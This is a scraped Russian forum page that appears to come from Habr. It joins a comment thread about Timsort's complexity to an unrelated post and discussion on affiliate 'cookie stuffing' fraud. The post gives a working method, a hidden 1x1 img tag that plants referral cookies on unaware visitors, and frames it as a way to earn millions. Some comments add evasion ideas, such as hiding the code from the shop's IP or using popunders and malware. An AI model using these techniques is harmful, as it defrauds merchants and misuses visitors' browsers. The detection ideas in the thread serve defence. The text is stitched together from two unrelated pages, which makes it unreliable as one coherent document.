Табличка просто взята с Википедии ввиду того, что таблички размером побольше нигде найдено не было. Ясное дело, что алгоритмов намного больше, и понятно, что Timsort не «предел мечтаний». Просто у него тоже есть своя ниша, а статья — всего лишь его описание.
Blurayman
ну я же вас не обвиняю ) просто сделал «небольшое замечание» по содержанию статьи. мб стоит тогда ее перенести в раздел Перевод, если непосредственно вашего текста там нет?
Infopulse_Ukraine
Это не перевод. Это компиляция примерно десятка статей, с собственными примерами и пояснениями. Собственно говоря, ни одного предложения просто «в лоб» переведённого в статье нет.
Blurayman
к слову о таблице «из википедии». как среднее может быть равно худшему, когда лучшее не равно ни тому ни другому?
Infopulse_Ukraine
А где противоречие?
MilkTonic
пример в действительных числах осилите? хотя бы одну подборочку.
tangro
вы, видимо, не совсем правильно понимаете сложность алгоритма, здесь не говорится, что время работы алгоритма в среднем и в худшем случае равны, равна только их сложность, т.е. зависимость от размера входных данных
MilkTonic
Отдалённо этот алгоритм похож на сортировку Шелла, которой тоже сливаются частично упорядоченные массивы.
rsludge
А какой у них коэфициент? Дерево вроде тоже в апроксимации хорошо, но… затратно
GORKOFF
Если Вы об использовании памяти, то Timsort в самом худшем случае требует 0.5*N памяти. Если о лучшем случае — то коэфициент чётко 1 (т.е. нужно будет ровно N операций сравнения).
namezys
нет. g(x) = O(f(x)) это «упрощенно» g(x) < C * f(x) на ассимптотике.

Так вот, не смотря на то, что quick имеет в худшем случае O(n^2), он при этом имеет C значительно меньше, чем сортировка деревом и работает обычно быстрее.
Infopulse_Ukraine
Вы знаете, серьёзных фундаментальных исследований на эту тему по Timsort я нигде не встречал. В оригинальной статье (ссылка в конце статьи) автор алгоритма сравнивает Timsort с samplesort, quicksort и mergesort и показывает (в основном, по факту тестов, а не теоретически) преимущество Timsort над ними в пределах от 1.5% скорости до вообще нереальных чисел.
namezys
чем этот хитрый алгоритм лучше бинарного дерева?
Infopulse_Ukraine
Если бы он был однозначно «лучше» — то дерева бинарного уже давно не существовало бы. Меньше памяти кушает, на определённых данных быстрее работает (а на других данных — лучше дерево).
tenshi
Интересно было бы иметь какой-то (статистический?) метод, позволяющий в зависимости от контента переключаться между бинарным деревом и тимсортом
tangro
Что-то я не понял, это в асимптотике тимсорт в лучшем случае работает за O(n)?
Странно, лично мне показалось, что на лучшем наборе он работает за такое время только, когда используется сортировка вставками (ибо последовательность может быть уже отсортирована, тогда вставки работают за O(n)) значит она может работать с O(n) только до minrun, до дальше работает слияние, но слияния, в свою очередь, будут работать в лучшем случае O(nlogn) значит и весь алгоритм в асимптотике будет работать за O(nlogn). Так что я ставлю под сомнение вообще достоверность всей таблички в статье, и не правомерно сравнивать алгоритмы для которых асимптотики написаны не верно — «левые»…
К примеру, мне интересно, а зачем нужна память в быстрой сортировке? Я раньше думал, что не нужна, ибо сортировка идёт «на месте».
Затем, я думал, что в лучшем случае, для сортировки слиянием потребуется память O(n), конечно если не использовать Алгоритм Пратта (точно не помню как его зовут, может и не Пратт) или другие методы связанные с медианами (асимптотика которых написана на третьей строке таблицы), значит уже 3 ошибки в таблице. Причём одна из них связанна с повествуемым материалом, который сравнивается с методом сортировки бинарным деревом, у которого коэффициенты у сложности намного больше даже чем у сортировки слиянием (ибо приходится уравновешивать дерево, а иначе он будет работать не быстрее быстрой сортировки на плохом случае, т.е. за O(n^2))

«На таких данных Timsort рвёт в клочья все остальные алгоритмы. » — конечно конечно, если считать что он асимптотически на лучшем наборе работает за O(nlogn), коих результатов не может добиться ни один алгоритм (сарказм).
olegchir
> К примеру, мне интересно, а зачем нужна память в быстрой сортировке?

Для хранения стека…
D503
В статье говорят об алгоритмах, а не о реализации алгоритма на каком либо языке. К примеру, есть такая вещь как хвостовая рекурсия. Она реализована не во всех языках, но она существует и она не требует памяти для хранения точки возврата из функции в стеке, возврата не происходит.
Если какой-то язык не реализует что-то необходимое для реализации алгоритма, это ещё не значит что алгоритм работает медленно или использует больше места.
nickme
Извините, но быстрой сортировке в любой реализации нужен стек, то ли вы его сами делаете (итеративный вариант), то ли система его делает за вас (рекурсивный вариант). Можете почитать любую книгу по анализу алгоритмов (передо мной сейчас лежит Седжвик). Хвостовая рекурсия здесь вообще не причем, т. к. в быстрой сортировке два рекурсивных вызова…
D503
Последний раз повторяю, для тех, кто в танке (:
1) Стек нужен в любой реализации быстрой сортировки — если вам не нравится Седжвик, то загляните в Кормена (там C/С++ нет).
2) Хвостовой рекурсии в быстрой сортировке нет, т. к. в ней имеется два рекурсивных вызова. В том же Кормене есть упражнение, в котором описывается как избавиться только от одного рекурсивного вызова (при этом размер стека все равно в лучшем случае будет равен log(n)…
nickme
Для тех кто не в танке :)) выложу скрины со страниц Кормена, вынудили, обращаю внимание на второй скрин в нём говорится о реализации Седжвика…
dl.dropbox.com/u/5753856/%D1%81%D0%BA%D1%80%D0%B8%D0%BD1.png

dl.dropbox.com/u/5753856/%D1%81%D0%BA%D1%80%D0%B8%D0%BD1.png

Первый скрин страница 198, второй скрин страница 219
D503
nickme
Дополнительная память не нужна для хранения элементов массива, но она используется для организации вычислений… А насчет стека загляните на страницу 217, упражнение 7.4
D503
Вообщем мелкие массивы он сортирует со скоростью вставками, т.е. за n операций, для больших массивов (больше 64), его асимптотика равна асимптотике сортировки слияние, т.е. за nlogn. А значит тут вообще говорить о том, что алгоритм работает с такой же скоростью в асимптотике, что и сортировка бинарного дерева, не корректно.
D503
Ошибка в Ваших размышлениях вот тут:
>«значит она может работать с O(n) только до minrun»

minrun — это не константный и не максимальный, а минимальный размер отсортированного подмассива. В алгоритме шага №1 (пункты 2 и 3) написано, что ищется максимальный размер run, который в идеале будет равен N, а значит никаких сортировок вообще применено не будет.
nickme
Мой феил, согласен с этим. Действительно асимптотика сложности снизу равна P(n) для всех n.
D503
исходник на Java
tangro
Еще Python
и C
D503
Причём упорядоченный либо нестрого по возрастанию, либо строго по убыванию. Т.е или «a0 <= a1 <= a2 <= ...», либо «a0 > a1 > a2 > ...»


Почему либо строго по убыванию? Это ведь нужно для разделения на подмассивы?
zloyreznic
блин, туплю. для сохранения стабильности при развороте массива=)
zloyreznic
Именно так.
Rustam
Вкусненько, спасибо за статью.

Часть хабралюдей честные и бескорыстные и привлекают их всякие техническия штучкэ. Но кое-кто кое-где у нас порой и не столь бескорыстен. Честно жить не хочет. Я расскажу вам о том, как можно по сути воровать, но при этом не выходя за рамки уголовного кодекса. Эдак с $15,000,000.

Сразу: речь пойдет про cookie stuffing. Если вы это все знаете, то дальше можно не читать. Описание рассчитано и на не сильно технически подкованного пользователя. Что бы люди от бизнеса тоже поняли. Подкованым текст может показаться затянутым. Прыгайте сразу на «Техническая реализация».

Организационный аспект

Тут многие в курсе как работает обычная аффилиатская программа. Есть сайт магазина. В нем товар. Тут хозяин обнаруживает, что недурно бы еще и посетителей в этом магазине увидеть. Помимо очевидностей типа поисковиков его посещает здравая мысль: а что если за небольшую долю от выручки попросить людей приводить покупателей в магазин? Вот привел Вася покупателя в магазин, оставил покупатель в кассе 100 долларов – 10 из них Васе за маркетинг. Довольный своей идеей хозяин печатает пачку розовых карточек, на них ставится какой-то код Васи и на кассе, пробивая товар клиенту, кассир интересуется у покупателя наличием карточки. Если есть – продажа записывается Васе в актив. Позднее ему выплачивается соответствующая комиссия.
На первый взгляд хозяин ничем не рискует. Действительно, он же платит только уж из ранее полученых денег. Однако Васе недоедает бегать по морозу, ловить людей за рукав и уговаривать зайти в тыщщу лет никому ненужный магазин. Он соображает, что платят ему по сути не за привлечение клиента, а по срабатыванию триггерного механизма – наличию у покупателя розовой карточки. Возникает очевидная идея: а что если уйти с мороза, зайти в сам магазин и начать раздавать карточки прямо в очереди в кассу? И даже не раздавать, а тихонечно засовывать их людям в нагрудный карман, всем подряд. Ведь какие-то люди заходят в магазин и сами, безо всяких уговоров. И даже что-то покупают. Вот им и совать карточки. В таком случае заработки Васи резко возрастут, да и теплее в помещении. Правда вот в оффлайне, конечно, хозяин сразу заметит Васю и выгонит на три буквы. Но интернет ведь не столь прозрачен порой?

Техническая реализация

Роль розовых карточек выполняют куки. Сайт магазина генерирует ссылки вида shop.com/?affID=12, где 12 это ID Васи. shop.com/?affID=12 показывает посетителям тоже самое, что и просто site.com. Только теперь скрипт магазина еще и ставит посетителю куку, скажем asdf, и пишет у себя в базе: в 12:12:12 12/12/12 Вася прислал нам посетителя и мы поставили ему куку asdf. Параллельно поток уже сделавших заказы проходит через страницу shop.com/thankyou, где сообщается что спасибо мол, дорогой покупатель, Ваш заказ номер 123 на $100 оформлен и скоро будет доставлен. А в это время под столом скрипт магазина проверяет: а нет ли у покупателя какой-то из ранее поставленных кук? И опа, обнаруживается что в 12:22:12 12/12/12 на странице подтверждения платежа появился свежезаплативший 100 долларов тот самый носитель куки asdf, то есть посланый Васей клиент. После этого сверяется время: между появлением тогда еще будущего покупателя и собственно покупкой прошло 10 минут. Это меньше ранее оговореного срока, а стало быть покупка засчитывается за Васей. N.B. обычно этот срок исчисляется неделями. 30 дней практически стандарт.
Казалось бы все хорошо и хозяин shop.com ничем не рискует. Ведь он платит только за посетителей, которых Вася фактически прислал на сайт магазина. Причем только за тех, кто превратился в покупателя. В его представлении Вася разместил на vasya.com ссылку типа <a href='http://www.shop.com/?affID=12'>Самый лучший магазин!</a>
И изо всех сил бегает по морозному интернету уговаривая людей ознакомиться с его рекомендацией. А в это время Вася начинает экспериментировать. Для начала он ставит у себя на сайт не совсем ссылку, а глубоко в подвал следующий код:
<img src='http://www.shop.com/?affID=12' height='1' width='1'></img>
Теперь, браузер посетителя Васиного сайта видит команду изобразить где-то в подвале картинку 1*1, а собственно файл картинки взять по ссылке shop.com/?affID=12. Он послушно бежит на это ссылку, забирает оттуда контент, но это оказывается не картинка вовсе. Браузер посетителя Васиного сайта выводит сообщение “картинка ёк” – в отведенном для этого пространстве в один пиксель размером. Короче посетитель даже не подозревает о существовании какого-то там shop.com, однако бразуер его сообщениями с сервером shop.com обменялся. Страничку shop.com/addID=12 загрузил. А следовательно получил свою куку от shop.com. Таким образом Вася, как видите, решил вопрос незаметного засовывания тех самых розовых карточек в кармашки прохожим. Если так случится, что этот самый посетитель сайта vasya.com в течении оговоренного срока таки что-то купит на shop.com – Вася получит свою долю. И все это несмотря на то, что на самом деле он никакой рекламы для shop.com не делал вообще. И ни одним кликом трафика не пожертвовал. Конечно на img свет клином не сошелся. Тут можно использовать яваскрипты или что-то еще. Но пока оставим это за рамками.

Подбираемся к кассе

Засовывать куки насильно мы уже умеем. Теперь вопрос как подобраться к кассе, что бы засовывать карточки именно идущим платить. Подробнее этот вопрос тоже будет в следующих сериях, а пока кратко, чисто идею. Предположим что Вася не просто Вася, а вообще-то прямой конкурент хозяина shop.com. Они оба продают крокозябрики и страшно толкаются в поисковой выдаче. Покупатели потенциальные смотрят почем крокозябрики у Васи, почем у хозяина и как-то решают у кого брать. То есть вероятность того, что покупатель shop.com был незадолго до покупки на vasya.com, относительно высока. Вот Вася записывается в аффилиаты к конкуренту. Теперь если покупатель выбрал Васю, то Вася оставляет себе всю прибыль. Если покупатель выбрал хозяина, то Вася получает хотя бы комиссию. Конечно то, что Вася имеет кучу тематического трафика – это некоторое допущение. Но предположим что Вася ловкий малый, просто пошел к конкурентам shop.com и за скромную мзду договорился о размещении у них такого вот кода. В общем подробнее об этом в следующих сериях, если тема интересна.

Финансовая сторона

Ради чего все это? Сколько там денег то на этой мелочевке получить можно. Откуда 15 миллионов в аннотации взялось, собственно? 25 августа 2008 года Ebay подал в суд на некоего господина по имени Shawn Hogan и его компанию Digital Point Solutions. Согласно утверждениям Ибея Шон наказал их на 15,5 миллионов долларов в период с 2006го по середину 2007го года. И не он один такой. Мистер Dunning, второй упомянутый в иске, отличился на 5,3 миллиона. Далее по списку. Есть ради чего вникать в детали.

Юридическая сторона

А не посадят? Вопрос правильный. Ответ на него, к сожалению, неправильный. Несмотря на то, что такие операции по сути своей являются воровством, однако это тема новая и юристы до сих пор не определились с квалификацией этого дела. Гражданский иск Ибея к Шону и сотоварищам до сих пор не разрешился ничем. Попытка уголовного преследования этих людей однако, закончилась более удачно. 24го июня 2010 их наконец взяли в оборот. Но только изза нескольких формальных зацепок. Cамо преследование Шона и друзей стало возможным только потому, что они вообще всякий страх потеряли. Конкретно Шон организовал рекламную сеть, куда открыто приглашал людей которым столь же открыто расписывал: «Давайте воровать у Ибея вместе!». И все это в штатах. В других странах вообще никаких проблем нет.

Дополнительные ссылки:
1. тем кто по-английски читает: жалоба Ибея на всю эту братию. Первоисточник, а посему написан тяжелым юридическим языком.
2. Куча примеров технического исполнения стаффинга. Собственно там же англоязычное описание.
3. Есть еще обвинения Даннинга (миллионы перечислены на 3ей странице) и Хогана (миллионы тоже на 3ей странице, в 7ом пункте).

P.S. Не надо все бросать и бежать воровать миллионы. Описанная выше схема, вот именно так, как она есть, ловится в 30 секунд.
В принципе рассказаного достаточно, но если хабралюдям интересно, то я могу отдельно рассказать как такое ловится, как обходить ловцов и как масштабировать процесс до неприлично богатого уровня. И как ловить уже и такое. Если интересно — говорите, продолжу.
dudeonthehorse
Спасибо, интересная статья! Было бы интересно почитать, как реализовать и пресечь подобную схему в магазине на Битриксе.
miolini
Смотрите заголовки при загрузке картинки. В них соль.
zerkms
И что же будет в заголовках?
russum
Referer?
zerkms
1. Не обязательно (он может быть вполне вырезан фаерволом, антивирусом, проксей, ...).
2. Даже если и будет реферер, то что? Реферальная ссылка подразумевается быть размещённой видимой на стороннем ресурсе. Очевидно, что при клике на неё посетитель также принесёт реферер. В чём же разница тогда?
russum
1. Да, возможно, но некоторые сайты попросту не работают без реферера, так что пользователям приходится отключать эту фичу файрвола.

2. Увидев большое количество «переходов» с одного урл, можно перейти на него и исследовать страничку на наличие 1x1 img. Но я так понимаю подразумевалось как автоматизировать это… Так что либо скриптом либо хз…
zerkms
1. Руки отрывать таким программистам сайтов надо, значит. А в фаерволах эта «фича» и её отключение недоступны из GUI

2. Совершенно верно. Также верно, что статистический способ обнаружения никак не связан с реферерами
cblp
1. Они так защищаются от хотлинкинга.
zerkms
Ну если для картинок (и то, с условием отдачи, когда есть правильный реферер, или его нет вообще) или просто файлов — да, а для страниц — очень спорно.
TheAlien
Ну как минимум скрипт, обрабатывающий «www.shоp.com/?affID=12», должен бы проверить referrer.
Конечно, в таком случае, человек, зашедший из ref-ссылки, кинутой Васей ему в icq, Васе рефералов не принесет, и Вася будет недоволен.

Другой вариант, получше, что пришел сейчас на ум, — это при открытии страницы «www.shоp.com/?affID=12» куку ставить не на стороне сервера, а на стороне клиента, через Javascript (ну или посылать AJAX до скрипта сервере, который пропишет печеньку). Т.е. если клиент реально зашел на сайт — JS поставит реферальную куку. Если же был «хитрожопый» скрытый запрос из img-тега, то JS то не сработает от этого, все честно. В общем, сделать JS «барьер».
zerkms
Если будет js — начнётся загрузка удалённой страницы в скрытый ифрейм.
TheAlien
Блин, точно.
А варианту с реферрером поидее на это класть, но он «грязный».
TheAlien
Я все не унимаюсь. Сделал два файла 1.html и 2.html. В первом подключаю 2.html в iframe.
В 2.html:


<script>

if(parent.location==document.location){

alert('я сам по себе')

}

else{

alert('я в iframe!');

}

</script>


При открытии 1.html мне было выдано 'я в iframe!'. При открытии 2.html напрямую — 'я сам по себе'.
Как бы детектится…
zerkms
Клёво. Мне -1. Не очень плотно связан с клиент-сайдом :-)
TheAlien
«Истина рождается в споре»(с)
10 минут назад я сам не знал, что так можно. Спасибо отладке в Firebug.
XMLshop
Угу, все верно. Первая линия обороны так и строится. К сожалению она не работает в чистом виде при посредниках типа CJ.com и там еще пара проблем есть. В тексте внизу куча ссылок с примерами разного другого исполнения стафинга.
Я лучше потом накатаю целый текст как это делается.
questor
Да, тема интересная. Будет время — напишите потом своими словами.
Для общего развития чтобы знать про такие вещи.
ilvar
А если файлы на разных хостах лежат? У браузеров довольно строгая политика в области общения js с разных хостов.
TheAlien
Какие файлы? 1.html — сайт Васи, 2.html — магазин. Проверка только в «магазине».
Или если я вас не так понял, — объясните.
ilvar
Есть у меня подозрение, что если 1.html и 2.html лежат на разных хостах (а в случае топикстартера хосты, естественно, разные), то parent.location будет из фрейма недоступен.
WebSpider
Родительская страница доступна из ифрейма даже на другом домене. Наоборот — нет. Так что тут всё в порядке. Кстати, это довольно популярный метод «избавления» от ифрейма, т.е. можно сделать так, чтобы сайт при попытке загрузить его внутрь ифрейма заменял собой основную страницу. Таким образом, при попытке Васи загрузить сайт в ифрейме, пользователь будет перенаправлен на сайт магазина
seriyPS
И, кстати, кукисы из ифрейма не во всех браузерах принимаются habrahabr.ru/blogs/browsers/112077/
zerkms
Статистика поможет, если ее изучить. Показатели таких «партнеров» будут всегда отличаться от средних показателей основной массы.
ulo
Да какая разница, битрикс или не битрикс. Плюс этот «фейк» скорее не проблема разработчиков, а проблема протокола + html.
dudeonthehorse
Ещё раз — какая разница, на битриксе магазин или нет? Решение будет чисто техническое, не зависящее ни от названия движка, ни от используемого языка программирования.
zerkms
Омг. Вы же программист! Как вы можете такое говорить? ))) Техническое решение и есть программное.

Как противопоставление: ещё решения бывают административные.
dudeonthehorse
Простите, если по программным вы подразумевали кодинг то под техническим что?
zerkms
спорол косяк — не отсвечивай! и не ной, коль засветился ))

// на случай завышенного ЧСВ: это не совет, это цитата
dudeonthehorse
Я не ною. Признал косяк. Но полный слив — тоже не дело.
zerkms
за исключением тех случаев, когда это будут иметь в виду и «выравняют» статистику для красоты
dudeonthehorse
Верно говорит камрад ulo. Статистика спасет всегда. Ты можешь фальсифицировать все, кроме процента покупок в первой сессии. Скажем у твоего магазина 30% покупают во время первой сессии в среднем. А у аффилиата Васи этот процент 0,003% Это не фальсифицируется. Но атакующий может внести в сигнал дисперсию.
Yavanosta
Возьмём на заметку. Спасибо.
dudeonthehorse
Жду продолжения!
Заинтересовало также освещение юридической стороны вопроса. Лично для меня, состав ст. 159 «Мошенничество» налицо: приобретение права на имущество или иную собственность путем обмана или злоупотреблением доверия.
Все перечисленное имеется…
dudeonthehorse
Кто кого обманул?

Или даже иначе — с чего вы решили, что обманул? Чисто технически пострадавшая сторона ОБЯЗАЛАСЬ платить истцу проценты со сделок, у которых в реферерах будет стоять истец.
zerkms
А юридически, на основании чего собственно деньги и перечисляются, она обязалась платить за привлечение покупателей. Другое дело, что для учета был использован несовершенный технический механизм, который дает погрешность. И в данном случае, как раз налицо злоупотребление доверием и все признаки мошенничества.
dudeonthehorse
А вот тут ещё неизвестно, что прописано в договоре и как дано определение «привлечению».
dudeonthehorse
Со сделок, для организации которых Вася сделал ЧТО-ЛИБО, то есть привлек посетителей. Однако, Вася нифига не делал, а денежку получил.
Я вот тож ничего не делаю, но мне же денег не дают.
Несправедливо.
dudeonthehorse
Почему же? Вася сделал кое-что немногое для того, чтобы потом ничего не делать. Российская бизнес-модель :)
kikaha
Так несправедливо или незаконно? Я полагаю, что для обвинений и фраз типа «налицо» всё таки необходимо знать заключённый между ними договор, и знать, при каких условиях «приглашение» считается «правильным», а при каком — нет.
dudeonthehorse
Разумеется, надо знать. Но мы — не знаем, а рассуждаем здраво. Вы платили бы Васе только за то, что у кого-то есть розовая карточка? Я — нет, я хочу видеть покупателя, а карточка — знак того, что Вася работал.

Может анология не совсем правильная, но приведу пример. Для чего люди покупают талоны ма трамвай: чтобы показать контроллеру или чтобы оплатить проезд N остановок?
dimok
В случае с миром законов и судов — здравый смысл не работает. Есть договор, в договоре есть условия. В условиях это описано? Не описано — аривидерчи. Описано — получите по заслугам.
XMLshop
Жду продолжения. Особенно часть про поимку и надавание люлей :)
alex_n
Если эти действия не запрещены, то нарушения закона никакого нет.

А если у того же eBay дыра, то это их проблема, а не Шона, который ей пользуется.
ariel32
Стрельба по людям запрещена законодательно. Размещение ссылок на чужой ресурс в теге img чем-то запрещено?
zerkms
Это не в законе дыра, это в договоре недосказанность.

Если в вашем кредитном договоре будет пункт «заёмщик может возвращать или не возвращать кредит по своему желанию». Вы как поступите? Будете «честно» отдавать? Или воспользуетесь правом, данным вам банком?

Определите свою позицию — вы «за» или «против» следования букве закона?
el777
Можно написать всё что угодно, но не забывайте, что пункты, противоречащие законодательству, будут исключены как ничтожные.

>> думаю вы смените свою категоричную позицию.
Отличный пассаж и с вашей стороны. Давайте оперировать данностью, а не фантазировать?

Повторю вопрос ещё раз: что незаконного сделал человек? Вы можете привести конкретные случаи нарушения им законов (представив, что такое действие было совершено в России, ну или если вы знаете законодательства штатов)?
zerkms
И кому вы предлагаете такие вопросы решать? Каким образом? Чем руководствоваться?
ariel32
В подобных вопросах я размышляю следующим образом: лучше уж пусть будет законодательная практика, со слепой фемидой во главе, чем отсутствие оной и группа предвзятых людей, решающих судьбы остальных.
dudeonthehorse
Порою мне кажется что слепа Фимида не беспристрастия ради, а потому что кто-то натянул ей на голову мешок, пытаясь что-то скрыть.
zerkms
Ну это проблемы отдельно взятого государства. Мы же говорим об идеальной ситуации (по крайней мере я это подразумеваю).

Если мыслить ссылками, подобными той, которую вы привели, тогда для признания человека виновным ему вообще ничего совершать не нужно.
ariel32
Иделал… Знаете, по поводу идеала мне вспоминаются строки Д.Адамса, я с вашего позволения приведу пару из lib.ru.

Кое-кто был убежден в том, что людям не стоило в свое время спускаться с деревьев. Некоторые шли дальше, и говорили, что и влезать-то на них было незачем, лучше было оставаться в океанах.
А затем, однажды в четверг, через без малого две тысячи лет после того, как одного человека прибили гвоздями к деревяшке за то, что он предлагал людям просто попытаться стать добрее друг к другу, хотя бы для разнообразия…


Ну собственно мы уже слезли с деревьев. Тех кто призывает нас быть лучше — обкидываем камнями. А любую несправедливость прикрываем законами.

Я понял Вашу позицию, никаких притензий. Вас банально больше. Признаю своё поражение и ухожу из дискуссии поверженным.

Вот только завтра утром, когда мы проснёмся, мир лучше не станет. Некому этим заниматься.
zerkms
Хехе.

Но согласитесь — какое решение лучше имеющегося? Можете ли вы предложить что-то лучше законов и беспристрастных судей?
YDeathYLORD
собственна lenta.ru/news/2011/01/17/air/
налог на воздух, как заказывали
=;)
agul
Есть лигитимный закон и не лигитимный.
За воздух платить не будут. Такое закон не признает большинство.
Vegasq
Вы правда верите что в условиях партнерской программы нету нескольких страниц мелким шрифтом, в которых перечисляется что нельзя делать и как ebay может отказать в выплатах по любому чиху?
zerkms
Ирония в том, что как раз слишком много такого текста играет против магазина. В свое время тот же ибей юридически вообще сделал так: вы мол нам трафик сливаете, мы его оцениваем и платим вам как захотим после рассмотрения. Казалось бы они забронировались? Однако на практике вышло наоборот. Они не были обязаны платить за такие трюки. Они рассмотрели и решили заплатить. А то что они при этом чего-то недоглядели — получилось их проблемами.
Vegasq
Ну проблемы-то может и их, но статью «Мошенничество» никто не отменял.
zerkms
Интересная статья, спасибо, хотелось бы увидеть продолжение)
Vegasq
Что интересно, «воровство» рефералов со стороны выглядит этичней, нежели их «честное» зарабатывание спамом и джинсой.
zerkms
И что? Вы добровольно зашли на сайт, владелец которого не гарантировал вам никаких цифр, касаемо потребляемого трафика.
Vegasq
В идеале это будет кука + хедер страницы с неправильным доктайпом. Такой оверхэд даже пользователь WAP-интернета вряд ли заметит.

Вот если грузить всю страницу в скрытый айфрейм, то да — зло.
zerkms
Сравнение некорректное.

Воровство рефералов неэтично по отношению к владельцу бизнеса, спам и джинса — неэтично по отношению к покупателям.
Vegasq
Добрая старая ситуационная этика!
zerkms
спам относительно этичен по отношению к покупателям, но неэтичен по отношению к тем, кто им никогда не станет :)
Vegasq
Спасибо за статью. Как человеку, увлекающемуся безопасностью в сети, мне было очень интересно. Жду продолжения.
zerkms
Речь вроде бы идет не о защите своих кук, а о защите кук ваших клиентов.
Vegasq
по идее ибею нужно организовывать преследование аналогично как против спама.
коллективный иск от покупателей за левый трафик + моральный ущерб за то что человека попользовали без его ведома
но вот окупятся ли организационные затраты…
zerkms
Основания для иска против «левого» трафика? Чем-то запрещено на своих страницах размещать такие вот img?
habraname
учитывая что грузится страница, часто немалого размера, которая не была заказана пользователем и не ожидалось ее появление, то это все тот-же спам
конечно не запрещено
хотя по сути это мошенничество с нанесением материального ущерба при оплате за трафик
но суть к делу не пришьешь. а ущерб пользователей вполне можно попробовать
иск правда будет уже не от ибея, а от тех кто заходил на сайт с таким вот img и доказать реальные потери будет непросто
gene4000
Это не тот же спам.

Спам — это сообщения рекламного характера, полученные против воли человека. В случае с сайтом — вы сами набрали адрес и зашли на страницу.
MaximKat
как страница не ожидалась, если человек нажал на ссылку? вы с попапами не путаете?
XMLshop
Банальный cookie stuffing. Некоторые даже силой (через уязвимости в браузерах) пропихивают целую пачку кук.
MaximKat
Ну а если вообще не использовать куки в этой системе: например пришёл человек по реферальной ссылке, если он авторизовался в магазине, введя логин и пароль, то записываем в его профиль васины данные, если же не авторизовался и ушел то васе ничего не перепадает. Конечно пока он ходит по витрине реферальную добавку можно подставлять для всех урлов которые он просматривает за эту сессию.
JokerOfGod
а если такая ситуация: человек зашел, посмотрел — потом закрыл страничку и пошел сравнивать в других магазинах. Выбрав все таки этот «васин» сайт человек может не открыть старую ссылку, а например в гугле вбить название магазина и заказать товар. Соответственно Вася денег не получил, но при этом именно благодаря ему клиент сделал заказ в магазине.

Tanner
Навскидку, против отлавливания: не показывать код (который 1x1) для пользователей с ip магазина (если вдруг бот будет проверять), а еще с referer = адресу магазина (если будут проверять вручную из какой-нибудь панели партнеров).

Ну или показывать код только для пользователей с «хорошим» refererом (yandex, google и что там еще у вас в источниках трафика).
onk
Ну и как запоминать referer при переходе внутри сайта? :) Да и запрос картинки тоже приходит с реферером.
zerkms
В сессию или те же куки.
Просто механизм установки куков будет проверять пришёл ли чувак с нужного сайта.
Tanner
не проще. ссылки же можно не только со своего сайта распространять, но и на разных форумах например, аське, скайпу и т д
Rafael
Да, это конечно помешает. Но использовать HTTP_REFERER для проверки накрутки в некоторых случаях всё-равно можно.
Tanner
Навскидку можно предложить решение — при первом заходе с /?affId=12 ставить временную cookies на 5-10-15 мин. Если в течение этого времени юзер не сделал переход на другую страницу (страницу товара/категории/поиска/чекаута/etc.), то это явно не покупатель и даже если он пришел с нормальной ссылки а не img, то профита нам с него нет и вряд ли предвидится. Если переход есть — ставим уже настоящие cookies, которые будут проверяться при чекауте.
VolCh
что мешает сделать две картинки, одна с affid, другая просмотр страницы товара?
Palehin
На странице товара проверять реферер — если в нем свой сайт — то меняем куку на постоянную, если нет — то ниче не делаем :)
root_sashok
Тема интересна в части разоблачения методов противодействия.

Год назад писал/экспериментировал с концептом партнерки, которая не спалится посетителем.
Партнеру НЕ выдается публичный id. Партнер регистрируют персональные страницы/правила с которых будет идти его траф.

Задекларированный список страниц является как бы контрактом на добросовестное привлечение посетителей. Собственно, его можно даже вручную модерировать. Но это пока что только набросок. Тестовая выборка владельцев партнерок показала полный пофигизм и незаинтересованность.
TheAlien
ну зарегистрирует он одностраничник, приукрасит как лендинг-пейдж на вашу партнерку, на нем же будет менять реферер, а откуда был взят траф вы никогда не узнаете, вернее там будут урлы красивых беленьких сайтов.

забаните? перейдет к конкурентам. да у вас будут только белые партнеры, возможно даже целых три. :)
onk
Эцсамое, что мешает на страницу реферальной ссылке впихнуть JS, который редиректит на настоящую, а на настоящей уже проверять реферер на соответствие URL первой? Тогда при загрузке в качестве картинки браузер просто ничего не обработает и куку никто не поставит. В том же JS проверять на предмет открытия во фреме.
zerkms
Собственно, можно пойти дальше и куку выставлять этим самым JS, не нагружая сервер.
onk
Ой, пока читал, тут уже предложили это решение.
Всегда буду обновлять страницу перед ответом, всегда буду обновлять страницу перед ответом…
zerkms
popup/popunder позволит обойти такую защиту. Да, это не так просто как в случае с картинкой, но показать очень маленький попандер не проблема.
Решение с временной кукой, которая потом превращается в постоянную — лучше.
gene4000
Даёшь продолжение!
xdemon
А я просто получал моральное и эстетическое удовольствие от созерцания и чтения документа «Civil Cover Sheet»… Он смотрится просто охуенно!.. Это не наши документы написанные «на коленке», и с такими бумагами приятно работать.
grokinn
спасибо очень интерестно.
продолженние пожалуйста!
smartfin
все проверили сайт вконтакте или еще какой-нибудь популярный не вставил там пяток другой партнерок магазинов? ))
Trimirys
а юзеру-то что?

Если через меня люди так вот зарабатывают — я только радуюсь за них.
gnomeby
До самого последнего абзаца потирал руки, мысленно перетаскивая толстые пачки денег из левого крыла дворца в правое, — поближе к грудам золота.
И такой финал… :)

Серьезно: очень полезные вещи пишете и очень доступным языком. Жду продолжения.
Кто предупрежден, — тот вооружен.
Disturbed
хм, не совсем. тут как раз выигрывает непосредственно тот, кто этими ссылками спамит.
gnomeby
Я так понимаю, вы и на мои деньги посягаете? Коль уж причислили всех СЕО-шников к моральным уродам без чести и совести.

Ну, про то, что статью вы невнимательно, похоже, прочитали — молчу. И так всем понятно.
Napolsky
Ещё вариант: распространить вирус, который вбросит в браузер по умолчанию пачку реферральных кук.
gnomeby
Это уже было :)
Disturbed
Спасибо. Интересная статья
m_z
Если Штаты, то не посадят.
А ибею стыдно должно быть, что при своих масштабах не смогли написать внятного договора для этой программы. Поделом.)
Disturbed
вы наверно не поняли, что вариант с одной кукой это всего лишь пример. В основном клиенту пихают n кук, лоя разных магазинов.
thecoder
Что бы отдать первый раз куки, достаточно просто несложного интеракшена с зашедшим пользователем. Например: диалог «Добро пожаловать на наш сайт.», или предложение выбрать страну, или еще что-то. Любой диалог, требующий осозноного ответа. Даже простой javascript с проверкой на iframe может существенно осложнить воришкам жизнь.
RedHead
Отпишитесь плиз, у кого по этой модели получится заработать хотя бы на хот дог. Очень интересно какие подводные камни обнаружатся…

Что касается легальности — не забывайте в каком государстве мы живем. У нас закон обязана соблюдать только одна сторона — граждани, а власть имущим на закон начхать. Если захотят посадить — посадят не сомневайтесь, и не за такое сажали.
Можно конечно в Гаагу обратиться и защищать свои права Человека, но это уже совсем другая история ;)
